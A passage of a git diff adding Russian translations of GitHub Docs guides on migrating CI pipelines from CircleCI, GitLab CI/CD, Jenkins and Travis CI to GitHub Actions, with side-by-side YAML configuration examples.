+ +Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts). + +## Использование баз данных и контейнеров служб + +Обе системы позволяют включать дополнительные контейнеры для баз данных, кэширования или других зависимостей. + +В CircleCI первый образ, указанный в файле *config.yaml*, является основным образом, используемым для выполнения команд. {% data variables.product.prodname_actions %} использует явные разделы: `container` используется для основного контейнера, и дополнительные контейнеры перечисляются в `services`. + +Ниже приведен пример синтаксиса конфигурации в CircleCI и {% data variables.product.prodname_actions %}. + + + + + + + + + + +
+CircleCI + +Действия GitHub +
+{% raw %} +```yaml +--- +version: 2.1 + +jobs: + + ruby-26: docker: - image: circleci/ruby:2.6.3-node-browsers-legacy environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby26 POSTGRES_PASSWORD: "" + + working_directory: ~/administrate + + steps: + - checkout + + # Bundle install dependencies + - run: bundle install --path vendor/bundle + + # Wait for DB + - run: dockerize -wait tcp://localhost:5432 -timeout 1m + + # Setup the environment + - run: cp .sample.env .env + + # Setup the database + - run: bundle exec rake db:setup + + # Run the tests + - run: bundle exec rake + + +workflows: version: 2 build: jobs: - ruby-26 ... + +- attach_workspace: at: /tmp/workspace +``` +{% endraw %} + + +```yaml +name: Containers + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + container: circleci/ruby:2.6.3-node-browsers-legacy + + env: + PGHOST: postgres + PGUSER: administrate + RAILS_ENV: test + + services: + postgres: + image: postgres:10.1-alpine + env: + POSTGRES_USER: administrate + POSTGRES_DB: ruby25 + POSTGRES_PASSWORD: "" + ports: + - 5432:5432 + # Add a health check + options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 + + steps: + # This Docker file changes sets USER to circleci instead of using the default user, so we need to update file permissions for this image to work on GH Actions. + # See https://docs.github.com/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem + + - name: Setup file system permissions + run: sudo chmod -R 777 $GITHUB_WORKSPACE /github /__w/_temp + - uses: {% data reusables.actions.action-checkout %} + - name: Install dependencies + run: bundle install --path vendor/bundle + - name: Setup environment configuration + run: cp .sample.env .env + - name: Setup database + run: bundle exec rake db:setup + - name: Run tests + run: bundle exec rake +``` +
+ +Дополнительные сведения см. в статье "[Сведения о контейнерах служб](/actions/configuring-and-managing-workflows/about-service-containers)". + +## Полный пример + +Ниже приведен пример из практики. В левой части показан фактический файл *config.yml* CircleCI для репозитория [thoughtbot/administrator](https://github.com/thoughtbot/administrate). Справа показан эквивалент в {% data variables.product.prodname_actions %}. + + + + + + + + + + +
+CircleCI + +Действия GitHub +
+{% raw %} +```yaml +--- +version: 2.1 + +commands: shared_steps: steps: - checkout + + # Restore Cached Dependencies + - restore_cache: + name: Restore bundle cache + key: administrate-{{ checksum "Gemfile.lock" }} + + # Bundle install dependencies + - run: bundle install --path vendor/bundle + + # Cache Dependencies + - save_cache: + name: Store bundle cache + key: administrate-{{ checksum "Gemfile.lock" }} + paths: + - vendor/bundle + + # Wait for DB + - run: dockerize -wait tcp://localhost:5432 -timeout 1m + + # Setup the environment + - run: cp .sample.env .env + + # Setup the database + - run: bundle exec rake db:setup + + # Run the tests + - run: bundle exec rake + +default_job: &default_job working_directory: ~/administrate steps: + - shared_steps + # Выполнение тестов для нескольких версий Rails + - run: bundle exec appraisal install + - run: bundle exec appraisal rake + +jobs: ruby-25: <<: *default_job docker: - image: circleci/ruby:2.5.0-node-browsers environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby25 POSTGRES_PASSWORD: "" + + ruby-26: <<: *default_job docker: - image: circleci/ruby:2.6.3-node-browsers-legacy environment: PGHOST: localhost PGUSER: administrate RAILS_ENV: test - image: postgres:10.1-alpine environment: POSTGRES_USER: administrate POSTGRES_DB: ruby26 POSTGRES_PASSWORD: "" + + +workflows: version: 2 multiple-rubies: jobs: - ruby-26 - ruby-25 +``` +{% endraw %} + + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Containers + +on: [push] + +jobs: + build: + + strategy: + matrix: + ruby: [2.5, 2.6.3] + + runs-on: ubuntu-latest + + env: + PGHOST: localhost + PGUSER: administrate + RAILS_ENV: test + + services: + postgres: + image: postgres:10.1-alpine + env: + POSTGRES_USER: administrate + POSTGRES_DB: ruby25 + POSTGRES_PASSWORD: "" + ports: + - 5432:5432 + # Add a health check + options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5 + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Ruby + uses: eregon/use-ruby-action@477b21f02be01bcb8030d50f37cfec92bfa615b6 + with: + ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %} + - name: Cache dependencies + uses: {% data reusables.actions.action-cache %} + with: + path: vendor/bundle + key: administrate-{% raw %}${{ matrix.image }}-${{ hashFiles('Gemfile.lock') }}{% endraw %} + - name: Install postgres headers + run: | + sudo apt-get update + sudo apt-get install libpq-dev + - name: Install dependencies + run: bundle install --path vendor/bundle + - name: Setup environment configuration + run: cp .sample.env .env + - name: Setup database + run: bundle exec rake db:setup + - name: Run tests + run: bundle exec rake + - name: Install appraisal + run: bundle exec appraisal install + - name: Run appraisal + run: bundle exec appraisal rake +``` +
diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md new file mode 100644 index 000000000000..6219ef43c443 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md @@ -0,0 +1,486 @@ +--- +title: Миграция с GitLab CI/CD на GitHub Actions +intro: '{% data variables.product.prodname_actions %} и GitLab CI/CD имеют несколько сходств в конфигурации, что делает миграцию на {% data variables.product.prodname_actions %} относительно простой.' +redirect_from: + - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - GitLab + - Migration + - CI + - CD +shortTitle: Migrate from GitLab CI/CD +ms.openlocfilehash: d0d5f2cae928f95b1a614826f270342f376db0de +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146178986' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +GitLab CI/CD и {% data variables.product.prodname_actions %} позволяют создавать рабочие процессы, которые автоматически выполняют сборку, тестирование, публикацию, выпуск и развертывание кода. GitLab CI/CD и {% data variables.product.prodname_actions %} используют некоторые сходства в конфигурации рабочего процесса. + +- Файлы конфигурации рабочего процесса записываются в YAML и хранятся в репозитории кода. +- В рабочем процессе может быть одно или несколько заданий. +- Задания включают один или несколько шагов или отдельных команд. +- Задания могут выполняться на управляемых или локальных компьютерах. + +Существуют некоторые различия, и в этом руководстве показаны наиболее важные из них, чтобы вы могли перенести свой рабочий процесс в {% data variables.product.prodname_actions %}. + +## Задания + +Задания в GitLab CI/CD очень похожи на задания в {% data variables.product.prodname_actions %}. В обеих системах задания имеют следующие характеристики. + +* Задания содержат ряд шагов или скриптов, которые выполняются последовательно. +* Задания могут выполняться на отдельных виртуальных машинах или в отдельных контейнерах. +* По умолчанию задания выполняются параллельно, но можно настроить их последовательное выполнение. + +Вы можете выполнять в задании скрипт или команду оболочки. В GitLab CI/CD шаги скрипта указываются с помощью ключа `script`. В {% data variables.product.prodname_actions %} все скрипты указываются с помощью ключа `run`. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +job1: + variables: + GIT_CHECKOUT: "true" + script: + - echo "Run your script here" +``` +{% endraw %} + + +```yaml +jobs: + job1: + steps: + - uses: {% data reusables.actions.action-checkout %} + - run: echo "Run your script here" +``` + +
+ +## Средства выполнения + +Средства выполнения — это виртуальные машины, на которых выполняются задания. GitLab CI/CD и {% data variables.product.prodname_actions %} предлагают управляемые и локальные варианты средств выполнения. В GitLab CI/CD для выполнения заданий на разных платформах используются `tags`, а в {% data variables.product.prodname_actions %} это делается с помощью ключа `runs-on`. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +windows_job: + tags: + - windows + script: + - echo Hello, %USERNAME%! + +linux_job: tags: + - linux script: + - echo "Hello, $USER!" +``` +{% endraw %} + +{% raw %} +```yaml +windows_job: + runs-on: windows-latest + steps: + - run: echo Hello, %USERNAME%! + +linux_job: + runs-on: ubuntu-latest + steps: + - run: echo "Hello, $USER!" +``` +{% endraw %} +
+ +Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on). + +## Образы Docker + +GitLab CI/CD и {% data variables.product.prodname_actions %} поддерживают выполнение заданий в образе Docker. В GitLab CI/CD образы Docker определяются с помощью ключа `image`, а в {% data variables.product.prodname_actions %} это делается с помощью ключа `container`. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +my_job: + image: node:10.16-jessie +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + my_job: + container: node:10.16-jessie +``` +{% endraw %} +
+ +Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer). + +## Синтаксис условий и выражений + +GitLab CI/CD использует `rules` для определения, будет ли задание выполняться при определенном условии. В {% data variables.product.prodname_actions %} используется ключевое слово `if`, чтобы предотвратить выполнение задания, если условие не выполняется. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +deploy_prod: + stage: deploy + script: + - echo "Deploy to production server" + rules: + - if: '$CI_COMMIT_BRANCH == "master"' +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + deploy_prod: + if: contains( github.ref, 'master') + runs-on: ubuntu-latest + steps: + - run: echo "Deploy to production server" +``` +{% endraw %} +
+ +Дополнительные сведения см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +## Зависимости между заданиями + +И GitLab CI/CD, и {% data variables.product.prodname_actions %} позволяют задавать зависимости для задания. В обеих системах задания по умолчанию выполняются параллельно, но зависимости заданий в {% data variables.product.prodname_actions %} можно указывать явным образом с помощью ключа `needs`. В GitLab CI/CD также имеется концепция `stages`, в которой задания в этапе выполняются параллельно, но следующий этап начнется после завершения всех заданий предыдущего этапа. Этот сценарий можно воссоздать в {% data variables.product.prodname_actions %} с помощью ключа `needs`. + +Ниже приведен пример синтаксиса для каждой системы. Рабочие процессы начинаются с двух заданий с именами `build_a` и `build_b`, выполняющихся параллельно, а после завершения этих заданий будет выполняться другое задание с именем `test_ab`. Наконец, по завершении задания `test_ab`, будет выполняться задание `deploy_ab`. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +stages: + - build + - test + - deploy + +build_a: stage: build script: + - echo "This job will run first." + +build_b: stage: build script: + - echo "This job will run first, in parallel with build_a." + +test_ab: stage: test script: + - echo "This job will run after build_a and build_b have finished." + +deploy_ab: stage: deploy script: + - echo "This job will run after test_ab is complete" +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + build_a: + runs-on: ubuntu-latest + steps: + - run: echo "This job will be run first." + + build_b: + runs-on: ubuntu-latest + steps: + - run: echo "This job will be run first, in parallel with build_a" + + test_ab: + runs-on: ubuntu-latest + needs: [build_a,build_b] + steps: + - run: echo "This job will run after build_a and build_b have finished" + + deploy_ab: + runs-on: ubuntu-latest + needs: [test_ab] + steps: + - run: echo "This job will run after test_ab is complete" +``` +{% endraw %} +
+ +Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds). + +## Планирование рабочих процессов + +GitLab CI/CD и {% data variables.product.prodname_actions %} позволяют запускать рабочие процессы через определенный интервал. В GitLab CI/CD расписания конвейера настраиваются с помощью пользовательского интерфейса, а в {% data variables.product.prodname_actions %} можно активировать рабочий процесс с запланированным интервалом с помощью ключа "on". + +Дополнительные сведения см. в разделе [События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#scheduled-events). + +## Переменные и секреты + +GitLab CI/CD и {% data variables.product.prodname_actions %} поддерживают настройку переменных среды в файле конфигурации конвейера или рабочего процесса, а также создание секретов с помощью пользовательского интерфейса GitLab CI/CD или {% data variables.product.product_name %}. + +Дополнительные сведения см. в разделах [Переменные среды](/actions/reference/environment-variables) и [Зашифрованные секреты](/actions/reference/encrypted-secrets). + +## Кэширование + +GitLab CI/CD и {% data variables.product.prodname_actions %} предоставляют метод в файле конфигурации для ручного кэширования файлов рабочего процесса. + +{% ifversion actions-caching %} + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +image: node:latest + +cache: key: $CI_COMMIT_REF_SLUG paths: + - .npm/ + +before_script: + - npm ci --cache .npm --prefer-offline + +test_async: script: + - node ./specs/start.js ./specs/async.spec.js +``` +{% endraw %} + + +```yaml +jobs: + test_async: + runs-on: ubuntu-latest + steps: + - name: Cache node modules + uses: {% data reusables.actions.action-cache %} + with: + path: ~/.npm + key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} + restore-keys: v1-npm-deps- +``` + +
+ +{% else %} + +{% data reusables.actions.caching-availability %} + +{% endif %} + +## Artifacts + +Как GitLab CI/CD, так и {% data variables.product.prodname_actions %} могут отправлять файлы и каталоги, созданные заданием, как артефакты. В {% data variables.product.prodname_actions %}артефакты можно использовать для сохранения данных из нескольких заданий. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +script: +artifacts: + paths: + - math-homework.txt +``` +{% endraw %} + + +```yaml +- name: Upload math result for job 1 + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: homework + path: math-homework.txt +``` + +
+ +Дополнительные сведения см. в разделе [Хранение данных рабочего процесса в качестве артефактов](/actions/guides/storing-workflow-data-as-artifacts). + +## Базы данных и контейнеры служб + +Обе системы позволяют включать дополнительные контейнеры для баз данных, кэширования или других зависимостей. + +В GitLab CI/CD контейнер для задания указывается с помощью ключа `image`, а в {% data variables.product.prodname_actions %} используется ключ `container`. Дополнительные контейнеры служб в обеих системах указываются с помощью ключа `services`. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+GitLab CI/CD + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +container-job: + variables: + POSTGRES_PASSWORD: postgres + # The hostname used to communicate with the + # PostgreSQL service container + POSTGRES_HOST: postgres + # The default PostgreSQL port + POSTGRES_PORT: 5432 + image: node:10.18-jessie + services: + - postgres + script: + # Performs a clean installation of all dependencies + # in the `package.json` file + - npm ci + # Runs a script that creates a PostgreSQL client, + # populates the client with data, and retrieves data + - node client.js + tags: + - docker +``` +{% endraw %} + + +```yaml +jobs: + container-job: + runs-on: ubuntu-latest + container: node:10.18-jessie + + services: + postgres: + image: postgres + env: + POSTGRES_PASSWORD: postgres + + steps: + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies + # in the `package.json` file + - name: Install dependencies + run: npm ci + + - name: Connect to PostgreSQL + # Runs a script that creates a PostgreSQL client, + # populates the client with data, and retrieves data + run: node client.js + env: + # The hostname used to communicate with the + # PostgreSQL service container + POSTGRES_HOST: postgres + # The default PostgreSQL port + POSTGRES_PORT: 5432 +``` + +
+ +Дополнительные сведения см. в статье "[Сведения о контейнерах служб](/actions/guides/about-service-containers)". diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md new file mode 100644 index 000000000000..f980429be1f3 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md @@ -0,0 +1,293 @@ +--- +title: Миграция с Jenkins на GitHub Actions +intro: '{% data variables.product.prodname_actions %} и Jenkins имеют несколько сходств в конфигурации, что делает миграцию на {% data variables.product.prodname_actions %} относительно простой.' +redirect_from: + - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Jenkins + - Migration + - CI + - CD +shortTitle: Migrate from Jenkins +ms.openlocfilehash: 177ec8c5e7355b87bdd82dd7cff88d4ae89557e4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145121291' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +Jenkins и {% data variables.product.prodname_actions %} позволяют создавать рабочие процессы, которые автоматически выполняют сборку, тестирование, публикацию, выпуск и развертывание кода. Jenkins и {% data variables.product.prodname_actions %} используют некоторые сходства в конфигурации рабочего процесса. + +- Jenkins создает рабочие процессы с помощью _декларативных конвейеров_, которые аналогичны файлам рабочих процессов {% data variables.product.prodname_actions %}. +- Jenkins использует _этапы_ для выполнения коллекции шагов, а {% data variables.product.prodname_actions %} использует задания для группирования одного или нескольких шагов или отдельных команд. +- Jenkins и {% data variables.product.prodname_actions %} поддерживают сборки на основе контейнеров. Дополнительные сведения см. в разделе [Создание действия контейнера Docker](/articles/creating-a-docker-container-action). +- Шаги или задачи можно повторно использовать и предоставлять сообществу. + +Дополнительные сведения см. в разделе [Основные понятия {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions). + +## Основные различия + +- Jenkins имеет два типа синтаксиса для создания конвейеров: декларативный конвейер и конвейер со скриптами. {% data variables.product.prodname_actions %} использует YAML для создания рабочих процессов и файлов конфигурации. Дополнительные сведения см. в статье "[Синтаксис рабочего процесса для GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)". +- Развертывания Jenkins обычно являются локальными, при этом пользователи обслуживают серверы в своих центрах обработки данных. {% data variables.product.prodname_actions %} предлагает гибридный облачный подход, размещая собственные средства выполнения, которые можно использовать для выполнения заданий, а также поддерживая локальные средства выполнения. Дополнительные сведения см. в разделе [Сведения о локальных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners). + +## Сравнение возможностей + +### Распространение сборок + +Jenkins позволяет отправлять сборки одному агенту сборки или распределять их между несколькими агентами. Вы также можете классифицировать эти агенты в соответствии с различными атрибутами, такими как типы операционных систем. + +Аналогично, {% data variables.product.prodname_actions %} может отправлять задания в размещенные в {% data variables.product.prodname_dotcom %} или локальные средства выполнения, и вы можете с помощью меток классифицировать модули выполнения в соответствии с различными атрибутами. Дополнительные сведения см. в разделах [Основные сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners) и [Сведения о локальных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners). + +### Использование разделов для упорядочения конвейеров + +Jenkins разделяет свои декларативные конвейеры на несколько разделов. Аналогично, {% data variables.product.prodname_actions %} упорядочивает рабочие процессы по отдельным разделам. В приведенной ниже таблице сравниваются разделы Jenkins с рабочим процессом {% data variables.product.prodname_actions %}. + +| Директивы Jenkins | {% data variables.product.prodname_actions %} | +| ------------- | ------------- | +| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent) | [`jobs..runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)
[`jobs..container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) | +| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post) | | +| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) | +| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps) | [`jobs..steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) | + +## Директивы using + +Jenkins использует директивы для управления _декларативными конвейерами_. Эти директивы определяют характеристики рабочего процесса и порядок его выполнения. В приведенной ниже таблице показано, как эти директивы соответствуют концепциям в {% data variables.product.prodname_actions %}. + +| Директивы Jenkins | {% data variables.product.prodname_actions %} | +| ------------- | ------------- | +| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment) | [`jobs..env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)
[`jobs..steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) | +| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`jobs..strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)
[`jobs..strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast)
[`jobs..timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) | +| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)
[`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions) | +| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on)
[`on..types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes)
[on..](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)
[on..](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)
[on..paths](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) | +| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs..needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) | +| [Синтаксис cron в Jenkins](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax) | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) | +| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage) | [`jobs.`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id)
[`jobs..name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) | +| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools) | {% ifversion ghae %}Инструменты командной строки, доступные в `PATH` в ваших системах локальных средств выполнения. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Спецификации для средств выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %} +| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input) | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) | +| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when) | [`jobs..if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) | + +## Использование последовательных этапов + +### Обработка параллельных заданий + +Jenkins может выполнять `stages` и `steps` параллельно, в то время как {% data variables.product.prodname_actions %} в настоящее время выполняет задания только параллельно. + +| Параллельное выполнение в Jenkins | {% data variables.product.prodname_actions %} | +| ------------- | ------------- | +| [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs..strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) | + +### Матрица + +И {% data variables.product.prodname_actions %}, и Jenkins позволяют использовать матрицу сборки для определения различных системных сочетаний. + +| Jenkins | {% data variables.product.prodname_actions %} | +| ------------- | ------------- | +| [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes) | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)
[`context`](/actions/reference/context-and-expression-syntax-for-github-actions) | +| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) | +| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | | + +### Выполнение задач с помощью шагов + +Jenkins группирует `steps` в `stages`. Каждый из этих шагов может быть, помимо прочего, скриптом, функцией или командой. Аналогично, {% data variables.product.prodname_actions %} использует `jobs` для выполнения определенных групп `steps`. + +| Шаги Jenkins | {% data variables.product.prodname_actions %} | +| ------------- | ------------- | +| [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs..steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) | + +## Примеры распространенных задач + +### Планирование запуска конвейера с помощью `cron` + + + + + + + + + + +
+Конвейер Jenkins + +Рабочий процесс {% data variables.product.prodname_actions %} +
+ +```yaml +pipeline { + agent any + triggers { + cron('H/15 * * * 1-5') + } +} +``` + + + +```yaml +on: + schedule: + - cron: '*/15 * * * 1-5' +``` + +
+ +### Настройка переменных среды в конвейере + + + + + + + + + + +
+Конвейер Jenkins + +Рабочий процесс {% data variables.product.prodname_actions %} +
+ +```yaml +pipeline { + agent any + environment { + MAVEN_PATH = '/usr/local/maven' + } +} +``` + + + +```yaml +jobs: + maven-build: + env: + MAVEN_PATH: '/usr/local/maven' +``` + +
+ +### Выполнение сборки из вышестоящих проектов + + + + + + + + + + +
+Конвейер Jenkins + +Рабочий процесс {% data variables.product.prodname_actions %} +
+ +```yaml +pipeline { + triggers { + upstream( + upstreamProjects: 'job1,job2', + threshold: hudson.model.Result.SUCCESS + ) + } +} +``` + + + +```yaml +jobs: + job1: + job2: + needs: job1 + job3: + needs: [job1, job2] +``` + +
+ +### Выполнение сборки с несколькими операционными системами + + + + + + + + + + +
+Конвейер Jenkins + +Рабочий процесс {% data variables.product.prodname_actions %} +
+ +```yaml +pipeline { + agent none + stages { + stage('Run Tests') { + matrix { + axes { + axis { + name: 'PLATFORM' + values: 'macos', 'linux' + } + } + agent { label "${PLATFORM}" } + stages { + stage('test') { + tools { nodejs "node-12" } + steps { + dir("scripts/myapp") { + sh(script: "npm install -g bats") + sh(script: "bats tests") + } + } + } + } + } + } + } +} +``` + + + +```yaml +name: demo-workflow +on: + push: +jobs: + test: + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + strategy: + fail-fast: false + matrix: + os: [macos-latest, ubuntu-latest] + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 12 + - run: npm install -g bats + - run: bats tests + working-directory: scripts/myapp +``` + +
diff --git a/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md new file mode 100644 index 000000000000..946600b637b0 --- /dev/null +++ b/translations/ru-RU/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md @@ -0,0 +1,443 @@ +--- +title: Миграция с Travis CI на GitHub Actions +intro: '{% data variables.product.prodname_actions %} и Travis CI имеют несколько сходств в конфигурации, что делает миграцию на {% data variables.product.prodname_actions %} относительно простой.' +redirect_from: + - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Travis CI + - Migration + - CI + - CD +shortTitle: Migrate from Travis CI +ms.openlocfilehash: 00da8dc259ef4de197faffd8db654dd536c1c237 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146178994' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +Это руководство поможет вам перейти с Travis CI на {% data variables.product.prodname_actions %}. В нем сравниваются их концепции и синтаксис, описываются сходства и демонстрируются разные подходы к распространенным задачам. + +## Перед началом работы + +Прежде чем начать миграцию на {% data variables.product.prodname_actions %}, рекомендуется ознакомиться с принципами его работы. + +- Краткий пример, демонстрирующий задание {% data variables.product.prodname_actions %}, см. в разделе [Краткое руководство по {% data variables.product.prodname_actions %}](/actions/quickstart). +- Основные понятия {% data variables.product.prodname_actions %} см. в разделе [Введение в GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions). + +## Сравнение выполнения заданий + +Чтобы управлять выполнением задач CI, _рабочий процесс_ {% data variables.product.prodname_actions %} использует _задания_, которые по умолчанию выполняются параллельно. Каждое задание содержит _шаги_, выполняемые в определенной последовательности. Если вам нужно выполнять 